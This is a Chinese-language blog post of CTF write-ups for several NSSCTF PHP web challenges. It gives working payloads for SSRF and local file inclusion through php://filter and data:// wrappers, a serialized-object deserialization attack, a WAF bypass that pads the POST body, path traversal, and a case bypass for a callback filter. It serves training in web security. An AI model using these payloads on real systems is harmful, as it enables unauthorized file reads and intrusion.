nssctf_WEB部分题解

1.题目:easy_ssrf(ssrf 伪协议读取文件)

    1. 题目`:![](https://cdn.nlark.com/yuque/0/2024/png/39210681/1734314732935-4ccb798a-8525-4439-90e5-b78551cbfea0.png)看起来没有什么思路,于是随便写个网站看看回显:![](https://cdn.nlark.com/yuque/0/2024/png/39210681/1734314784601-f3ade4f1-e1ac-40b4-9cd3-affa3638e52e.png)
    2. 再试试flag.php![](https://cdn.nlark.com/yuque/0/2024/png/39210681/1734314843056-e71d5442-2933-4260-9f6f-123aee06b8a1.png)这里直接输入fl4g是不行的,卡了大佬的wp,是要用file读取,于是就用file:///fl4g(注意不是file://fl4g)
    3. 于是我们得到新的提示:![](https://cdn.nlark.com/yuque/0/2024/png/39210681/1734314971549-6d777b9b-17ec-4a99-8c27-46e43343d5cc.png)进行访问:得到源码:![](https://cdn.nlark.com/yuque/0/2024/png/39210681/1734315008356-a5e59413-d41f-4ccb-a658-ed183814cd79.png)
    4. 我们发现file_get_contents是敏感函数:并且分析源码,过滤了file协议,于是利用filter
    5. [http://node5.anna.nssctf.cn:21414/ha1x1ux1u.php?file=php://filter/resource=/flag](http://node5.anna.nssctf.cn:21414/ha1x1ux1u.php?file=php://filter/resource=/flag)得到:![](https://cdn.nlark.com/yuque/0/2024/png/39210681/1734315307189-bb4ebfd4-4e51-4151-9f08-f10e0727e58b.png)

2.题目: [SWPUCTF 2021 新生赛]PseudoProtocols

    1. 题目:![](https://cdn.nlark.com/yuque/0/2024/png/39210681/1734344037712-81b6382f-3e07-4eed-bee9-89979b3c9bca.png)看到题目是伪协议,于是联想到filter等等协议,于是利用读取文件的协议来构造payload:
1.php://filter/read=convert.base64-encode/resource=[文件名] 读取文件源码(针对php文件需要base64编码)

构造出来:http://node7.anna.nssctf.cn:22692/index.php?wllm=php://filter/read=convert.base64-encode/resource=hint.php进行解码:

于是就访问:est2222222222222.php

    2. 得到了源码:![](https://cdn.nlark.com/yuque/0/2024/png/39210681/1734344386911-2dee806d-388f-41f6-9742-481020155671.png)分析可以知道是要get一个a的参数,联想到伪协议,还有危险函数file_get_content(),这段代码主要医师是查看a所传递的文件地址对应的文件内容是否为I want falg,是的话就显示flag,关键在于如何让这段话以文件的形式存储在a对应的地址里面,此时就想到了data协议:
    3. 用法:
php 复制代码
data://text/plain,
data://text/plain;base64,xxxx  (如果此处对某些字符进行了过滤,可以通过base64编码后再输入)

于是构造payload:http://node7.anna.nssctf.cn:22692/test2222222222222.php?a=data://text/plain,I want flag:

3.题目:

    1. 题目:![](https://cdn.nlark.com/yuque/0/2024/png/39210681/1734352368459-d795a58b-83a3-4d28-b384-514694f8ed6e.png)
    2. 分析可知:text是要获取一个文本为"`<font style="color:#dd0000;">welcome to the zjctf</font>`"的,可以考虑使用data协议:[http://node4.anna.nssctf.cn:28406/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=](http://node4.anna.nssctf.cn:28406/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php)
    3. 之后看见提示:useless.php于是决定先读取一下,使用filter伪协议,[**file=php://filter/read=convert.base64-encode/resource=useless.php**](http://node4.anna.nssctf.cn:28406/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php)**,得到base64字符串:**![](https://cdn.nlark.com/yuque/0/2024/png/39210681/1734352353062-8d7b97aa-dbdc-4f99-94da-3d011b69eeb3.png)
    4. base64解码后发现类:![](https://cdn.nlark.com/yuque/0/2024/png/39210681/1734352192644-40356919-f8bc-4ef7-b6b8-d333772d22d0.png)
    5. 于是就变成了反序列化:于是进行构造:
php 复制代码
<?php  

class Flag{  //flag.php  
    public $file='flag.php';  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }
  
} 
$a=new Flag();
echo serialize($a);
?> 
    6. _ToString触发条件:_
    7. 最终payload:[http://node4.anna.nssctf.cn:28406/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}](http://node4.anna.nssctf.cn:28406/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}) 注意这里有一点,最后file必须为useless.php而不是之前读取的payload,否则无法进行反序列化,也就无法加载flag类

4.题目:简单包含

    1. 题目: [鹏城杯 2022]简单包含  ![](https://cdn.nlark.com/yuque/0/2024/png/39210681/1734520549718-4c012423-0a97-4662-a934-1ce23d1928b3.png)看到题目,发现题目给的代码不完全,于是打算查看源代码,又想到题目标签是文件包含和伪协议于是就试一试用filter读取一下flag.php发现被过滤了![](https://cdn.nlark.com/yuque/0/2024/png/39210681/1734520755070-ceeccc66-6543-48bf-9caf-1028623787af.png),并且发现题目给的代码不完全,于是打算查看源代码
    2. 于是就用filter查看index.php文件:flag=php://filter/convert.base64-encode/resource=index.php得到一串base64编码:
php 复制代码
PD9waHAKCiRwYXRoID0gJF9QT1NUWyJmbGFnIl07CgppZiAoc3RybGVuKGZpbGVfZ2V0X2NvbnRlbnRzKCdwaHA6Ly9pbnB1dCcpKSA8IDgwMCAmJiBwcmVnX21hdGNoKCcvZmxhZy8nLCAkcGF0aCkpIHsKICAgIGVjaG8gJ25zc2N0ZiB3YWYhJzsKfSBlbHNlIHsKICAgIEBpbmNsdWRlKCRwYXRoKTsKfQo/PgoKPGNvZGU+PHNwYW4gc3R5bGU9ImNvbG9yOiAjMDAwMDAwIj4KPHNwYW4gc3R5bGU9ImNvbG9yOiAjMDAwMEJCIj4mbHQ7P3BocCZuYnNwOzxiciAvPmhpZ2hsaWdodF9maWxlPC9zcGFuPjxzcGFuIHN0eWxlPSJjb2xvcjogIzAwNzcwMCI+KDwvc3Bhbj48c3BhbiBzdHlsZT0iY29sb3I6ICMwMDAwQkIiPl9fRklMRV9fPC9zcGFuPjxzcGFuIHN0eWxlPSJjb2xvcjogIzAwNzcwMCI+KTs8YnIgLz5pbmNsdWRlKDwvc3Bhbj48c3BhbiBzdHlsZT0iY29sb3I6ICMwMDAwQkIiPiRfUE9TVDwvc3Bhbj48c3BhbiBzdHlsZT0iY29sb3I6ICMwMDc3MDAiPls8L3NwYW4+PHNwYW4gc3R5bGU9ImNvbG9yOiAjREQwMDAwIj4iZmxhZyI8L3NwYW4+PHNwYW4gc3R5bGU9ImNvbG9yOiAjMDA3NzAwIj5dKTs8YnIgLz48L3NwYW4+PHNwYW4gc3R5bGU9ImNvbG9yOiAjRkY4MDAwIj4vL2ZsYWcmbmJzcDtpbiZuYnNwOy92YXIvd3d3L2h0bWwvZmxhZy5waHA7PC9zcGFuPgo8L3NwYW4+CjwvY29kZT48YnIgLz4K 
//  解码可得:
  <?php

$path = $_POST["flag"];
//这里if语句有个漏洞.如果输入的文本超过800字节那么就会进入else(因为是短路与&&)
//file_get_contents('php://input')的意思是post输入的数据文本
if (strlen(file_get_contents('php://input')) < 800 && preg_match('/flag/', $path)) {
    echo 'nssctf waf!';
} else {
    @include($path);//可以看到文件包含漏洞出现了,include函数将path变量的路径所对应的文件当做php文件解析并执行,如果没有发现则会产生警告
}
?>

<code><span style="color: #000000">
<span style="color: #0000BB">&lt;?php&nbsp;<br />highlight_file</span><span style="color: #007700">(</span><span style="color: #0000BB">__FILE__</span><span style="color: #007700">);<br />include(</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">"flag"</span><span style="color: #007700">]);<br /></span><span style="color: #FF8000">//flag&nbsp;in&nbsp;/var/www/html/flag.php;</span>
</span>
</code><br />
于是最终payload:
aaaaaaaaaaaaaaaaaaa111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111&flag=php://filter/convert.base64-encode/resource=flag.php

注:这里新学道一个命令:perl -e 'print "a"x800' 生成800个a

    3. 得到flag的base64编码:![](https://cdn.nlark.com/yuque/0/2024/png/39210681/1734522935916-7c6638e0-5f9e-4a37-859b-f921ad42190a.png)解码:![](https://cdn.nlark.com/yuque/0/2024/png/39210681/1734522950666-0d6a0c36-faa0-4d5c-ad1e-3daa4b62b273.png)

4.文件包含+php传参特性+php陌生函数:

    1. 题目: [鹤城杯 2021]EasyP  
php 复制代码
<?php
include 'utils.php';

if (isset($_POST['guess'])) {
    $guess = (string) $_POST['guess'];
    if ($guess === $secret) {
        $message = 'Congratulations! The flag is: ' . $flag;
    } else {
        $message = 'Wrong. Try Again';
    }
}

if (preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF'])) {
    exit("hacker :)");
}

if (preg_match('/show_source/', $_SERVER['REQUEST_URI'])){
    exit("hacker :)");
}

if (isset($_GET['show_source'])) {
    highlight_file(basename($_SERVER['PHP_SELF']));
    exit();
}else{
    show_source(__FILE__);
}
?> 

首先要了解$_SERVER全局数组这个东西:

$_SERVER全局数组的介绍

php 复制代码
$_SERVER 是一个在 PHP 中用于收集头信息(header)、路径(path)和脚本位置(script locations)等的服务器和执行环境信息的数组。它是一个全局数组,意味着它可以在 PHP 脚本的任何地方被访问,而无需事先声明。$_SERVER 数组包含了由 web 服务器创建的环境变量,这些变量提供了关于当前请求、响应和服务器环境的信息。

$_SERVER 数组中的键(key)和值(value)可以提供各种信息,包括但不限于:

    服务器和请求信息:
        $_SERVER['SERVER_NAME']:当前运行脚本所在服务器的主机名。
        $_SERVER['SERVER_ADDR']:当前运行脚本所在服务器的 IP 地址。
        $_SERVER['REQUEST_METHOD']:访问页面时所使用的请求方法(GET、POST 等)。
        $_SERVER['REQUEST_URI']:访问此页面所需的 URI。
        $_SERVER['QUERY_STRING']:查询(query)字符串。
    脚本信息:
        $_SERVER['SCRIPT_NAME']:当前脚本的路径。
        $_SERVER['PHP_SELF']:当前执行脚本的文件名。
        $_SERVER['SCRIPT_FILENAME']:当前执行脚本的绝对路径。
    会话和用户信息:
        $_SERVER['REMOTE_ADDR']:正在浏览当前页面的用户的 IP 地址。
        $_SERVER['REMOTE_HOST']:正在浏览当前页面的用户的主机名。如果此信息不可用,则该键不存在。
        $_SERVER['REMOTE_USER']:经验证的用户。
    HTTP 头信息:
        $_SERVER['HTTP_USER_AGENT']:浏览器类型。
        $_SERVER['HTTP_ACCEPT']:当前请求接受的 MIME 类型。
        $_SERVER['HTTP_REFERER']:引导用户代理到当前页面的前一页面的地址(如果存在)。

这个题目要用到的是(1)(2)

(1) $_SERVER['REQUEST_URI']:访问此页面所需的 URI。---其中包含了当前的路径和查询参数部分

(2)$_SERVER['PHP_SELF']:当前执行脚本的文件名.这两个全局常量在没有查询参数的时候返回结果一样,但是有查询参数的时候结果就不同:

(3)关于basename函数:

php 复制代码
PHP 中的 basename 函数:
在 PHP 中,basename 函数接受一个路径字符串作为输入,并返回路径的基本组成部分,即去除目录路径后的文件名或目录名。如果路径中包含尾部的斜杠(/ 或 \,取决于操作系统),则斜杠也会被去除。此外,该函数还可以接受一个可选的第二个参数,用于指定如果文件名匹配该参数时应该返回的结果。
语法  string basename ( string $path [, string $suffix ] )
//    $path:输入的路径字符串。
//    $suffix:(可选)如果文件名以该后缀结尾,则结果会去除这个后缀。
示例
$path = "/home/www/images/photo.jpg";
$filename = basename($path);       // 输出 "photo.jpg"
$filename_no_suffix = basename($path, ".jpg"); // 输出 "photo"

一般来说,这个函数输出的就是路径下最后一个/之后的内容,值得注意的是,这个函数有一个可以利用的漏洞,如果文件名中有非ASCII编码的字符,例如:汉字 %ff等输出的时候会直接忽略:于是我们构造payload:先get一个show_source,但是注意,题目中过滤了,于是就可以利用php的非法传参,php在解析参数的时候会将 + , [ , .等特殊符号解析为_,于是就使用show+source,先随便设置一个1叭,show+source=1,发现没有报错,但是也没有回显,看到basename函数,里面的参数是$_SERVER['PHP_SELF']),是要获得当前脚本名称,我们要读的文件是utils.php,先打上,得到:

php 复制代码
http://node4.anna.nssctf.cn:28134/utils.php/?show+source=1

发现还是被过滤了,应该是basename那一层,于是我们加一个汉字在?的前面

php 复制代码
http://node4.anna.nssctf.cn:28134/utils.php/哈咯?show+source=1

这样就只剩下utils.php了,进而被高亮代码

注意这个题有个陷阱,post参数两个可以不设置,否则就会引起过滤

5.文件包含:题目

php 复制代码
 <?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;//检查函数是否被调用,也就是page变量是否被设置
            }

            if (in_array($page, $whitelist)) {
                return true;//检查page的值是不是在数组里面
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            )这段代码的意思是将变量page中的第一个?之前的值赋给$_page
              //函数mb_substr的作用是截取字符串  mb_substr($str,$start,$end)
              //mb_strpos($str,$char)的作用是返回字符串中字符的位置
            if (in_array($_page, $whitelist)) {
                return true;
            }//检验新的变量是否在白名单中.后面对新变量一样的过滤条件

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  这里是主要程序部分:可以发现,url请求输入一个file的参数,只要输入参数会执行include函数从而引发漏洞,这里有一个类中的方法,checkfile函数,可以分析函数,转到上面的函数
?> you can't see it
    1. 于是,思路是根据提示,先看hint.php文件发现:![](https://cdn.nlark.com/yuque/0/2024/png/39210681/1735629609832-eaa32c0f-b58a-447c-9c99-f8be3adc0c4d.png)
    2. 得到flag其实在这个地方,于是我们知道了file变量应该是ffffllllaaaagggg,但是发现被过滤了,想到还有几层过滤,第一个?之前的字符串只能是hint.php或者source.php于是构造:file=hint.php?ffffllllaaaagggg,发现不行,于是想,可能在其中的目录,于是添加../继续尝试,发现最终:[http://node4.anna.nssctf.cn:28325/source.php?file=hint.php?/../../../../ffffllllaaaagggg](http://node4.anna.nssctf.cn:28325/source.php?file=hint.php?/../../../../ffffllllaaaagggg)的时候可以得到结果:![](https://cdn.nlark.com/yuque/0/2024/png/39210681/1735629907748-772c06f3-a41a-4b49-bd1a-87efe6a4964a.png)

6.题目: [SWPUCTF 2022 新生赛]numgame

    1. 题目:一进来发现有个加法运算:![](https://cdn.nlark.com/yuque/0/2025/png/39210681/1737085153036-994224ad-c397-4bcb-a80c-cb029ffb802f.png)
    2. 但是怎么加他就只能加到十九,然后就变为了负数。这是在暗示我们查看源代码,我们惊奇的发现,f12和右键以及ctrl+U均不能使用,那就说明源代码里面一定有猫腻,于是我们尝试抓包,发现源代码里面有一部分很像地址![](https://cdn.nlark.com/yuque/0/2025/png/39210681/1737085390918-1cb861d0-872f-42ee-9471-1a41215f0a86.png)于是我们试着访问一下,发现了这个:![](https://cdn.nlark.com/yuque/0/2025/png/39210681/1737085464386-518d2851-0e47-4549-8c6d-8a495e6ff268.png)可以看出是base64加密,我们解密一下:发现:仍然是文件:![](https://cdn.nlark.com/yuque/0/2025/png/39210681/1737085520989-eb3c0b30-c0e4-4bdc-b562-135b808154f5.png)继续访问发现源代码:
php 复制代码
<?php
  error_reporting(0);
//hint: 与get相似的另一种请求协议是什么呢
include("flag.php");
class nss{
  static function ctf(){
    include("./hint2.php");
  }
}//这里有一个类,nss,发现有一个方法ctf()
if(isset($_GET['p'])){
  if (preg_match("/n|c/m",$_GET['p'], $matches))
    die("no");//这里的意思是如果get到的p参数值里面有n或c,就终止函数执行,直接退出
//这里可以使用大小写绕过,因为采用的是多行文本匹配
  //   /m 是一个修饰符,表示多行模式(multiline)
  call_user_func($_GET['p']);
  //这里是一个回调函数,会调用其他函数并执行,于是想到调用类中的方法执行
}else{
  highlight_file(__FILE__);
} 
    3. 关于::在php里面的应用

语法

mixed call_user_func(callable $callback[, mixed $parameter = NULL[, mixed $... ]])

参数

$callback: 要调用的函数名(字符串)、数组(类方法)或匿名函数。

$parameter: 可选,传递给回调函数的参数,可以有多个。

返回值

返回回调函数的返回值。如果回调函数没有返回值,则返回 NULL

  1. 关于php中函数call_user_func()函数的用法:
plain 复制代码
语法
mixed call_user_func(callable $callback[, mixed $parameter = NULL[, mixed $... ]])
参数
$callback: 要调用的函数名(字符串)、数组(类方法)或匿名函数。
$parameter: 可选,传递给回调函数的参数,可以有多个。
返回值
返回回调函数的返回值。如果回调函数没有返回值,则返回 NULL
    5. 于是构造 payload:先试着调用 nss 类的 ctf(),p=Nss::Ctf() 发现提示:![](https://cdn.nlark.com/yuque/0/2025/png/39210681/1737087160359-4348ac28-0084-4b06-9743-64c196980919.png)于是更换类名:Nss2,再次尝试:得到结果:![](https://cdn.nlark.com/yuque/0/2025/png/39210681/1737087219335-87af5c8e-4e2a-498a-827a-f53b199d5762.png)
相关推荐
dal118网工任子仪18 分钟前
58,【8】BUUCTF [PwnThyBytes 2019]Baby_SQL1
数据库·笔记·sql·学习·mysql
s_little_monster2 小时前
【Linux】打破Linux神秘的面纱
linux·运维·经验分享·笔记·学习·学习方法
无所谓จุ๊บ3 小时前
VTK知识学习(36)-图像平滑
学习·vtk
stormjun3 小时前
2025 年 Java 最新学习资料与学习路线——从零基础到高手的成长之路
java·开发语言·学习·java学习路线·java 学习教程·2025java 学习路线
【上下求索】3 小时前
学习笔记081——如何备份服务器中MySQL数据库数据?
数据库·笔记·学习
dal118网工任子仪4 小时前
55.【5】BUUCTF WEB NCTF2019 sqli
数据库·笔记·sql·学习·mysql·安全
隼玉4 小时前
【STM32-学习笔记-10-】BKP备份寄存器+时间戳
c语言·笔记·stm32·学习
虾球xz4 小时前
游戏引擎学习第79天
学习·游戏引擎
yzx9910134 小时前
OpenCV入门学习
学习
黑不拉几的小白兔4 小时前
Python爬虫学习前传 —— Python从安装到学会一站式服务
爬虫·python·学习